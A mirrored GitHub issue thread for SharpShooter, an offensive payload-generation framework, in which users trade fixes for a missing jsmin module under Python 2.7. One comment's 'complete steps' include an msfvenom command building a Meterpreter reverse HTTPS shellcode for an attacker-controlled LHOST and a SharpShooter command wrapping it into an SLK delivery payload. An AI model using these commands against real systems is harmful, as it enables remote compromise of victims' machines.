Code Monkey home page Code Monkey logo

Comments (15)

Sinkmanu avatar Sinkmanu commented on August 17, 2024 5

Python 2.7 reached the end of its life on January 1st, 2020. So, the solution is download jsmin and install it without pip (or apt).

Solution:

wget https://files.pythonhosted.org/packages/17/73/615d1267a82ed26cd7c124108c3c61169d8e40c36d393883eaee3a561852/jsmin-2.2.2.tar.gz
tar xzf jsmin-2.2.2.tar.gz
cd jsmin-2.2.2
sudo python setup.py install

from sharpshooter.

hookthieves avatar hookthieves commented on August 17, 2024 1

apt install -y python-setuptools
cd /tmp
git clone https://github.com/tikitu/jsmin/
cd jsmin
python2 setup.py install

This is a working fix

from sharpshooter.

 avatar commented on August 17, 2024

pip install -r requirements.txt

from sharpshooter.

pretech86 avatar pretech86 commented on August 17, 2024

still the same

from sharpshooter.

 avatar commented on August 17, 2024

How about " pip install jsmin " ?

from sharpshooter.

qing-root avatar qing-root commented on August 17, 2024

I also encountered this mistake,Although I used the "pip install jsmin" command,I was unable to solve the problem。

from sharpshooter.

1nPr0c avatar 1nPr0c commented on August 17, 2024

Try apt install python-jsmin instead.

from sharpshooter.

qing-root avatar qing-root commented on August 17, 2024

Try apt install python-jsmin instead.

thank you! good

from sharpshooter.

mkunz7 avatar mkunz7 commented on August 17, 2024

I had to grab 2.2.2 from https://pypi.org/project/jsmin/#files and install manually

from sharpshooter.

Valerian7 avatar Valerian7 commented on August 17, 2024

确保pip属于python2,再安装jsmin

from sharpshooter.

St0rmfly avatar St0rmfly commented on August 17, 2024

apt purge python3-pip
apt purge python-pip
curl https://bootstrap.pypa.io/get-pip.py -o /tmp/get-pip.py
python3 /tmp/get-pip.py
python /tmp/get-pip.py
rm /tmp/get-pip.py
pip install jsmin

from sharpshooter.

vafaronaghi avatar vafaronaghi commented on August 17, 2024

I had the same problem
python didn't find "jsmin" module

@rebootcuong
your hint helped me to fix this issue for me
Thanks

from sharpshooter.

saroyaj avatar saroyaj commented on August 17, 2024

Complete Steps (Python 2.7)

# apt install -y python-setuptools
# cd /tmp
# git clone https://github.com/tikitu/jsmin/
# cd jsmin
# python2.7 setup.py install
# cd /opt
# git clone https://github.com/mdsecactivebreach/SharpShooter.git
# cd SharpShooter
# msfvenom -p windows/meterpreter/reverse_https LHOST=x.x.x.x LPORT=4444 -f raw -b '\x00' -e x86/shikata_ga_nai -o shellcode.bin
# python2.7 SharpShooter.py --payload slk --rawscfile shellcode.bin --output test

[!] Shellcode must not contain null bytes
[*] Written delivery payload to output/test.slk

from sharpshooter.

KyserClark avatar KyserClark commented on August 17, 2024

None of these solutions worked for me. I can't seem to find a way to get Sharpshooter to work :(

from sharpshooter.

ItsNee avatar ItsNee commented on August 17, 2024

Python 2.7 reached the end of its life on January 1st, 2020. So, the solution is download jsmin and install it without pip (or apt).

Solution:

wget https://files.pythonhosted.org/packages/17/73/615d1267a82ed26cd7c124108c3c61169d8e40c36d393883eaee3a561852/jsmin-2.2.2.tar.gz
tar xzf jsmin-2.2.2.tar.gz
cd jsmin-2.2.2
sudo python setup.py install

image

Appreciate the help, 2.2.2 seems to work well. 3.0.1 threw me all sorts of errors! 🙏🙏

from sharpshooter.

Related Issues (20)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.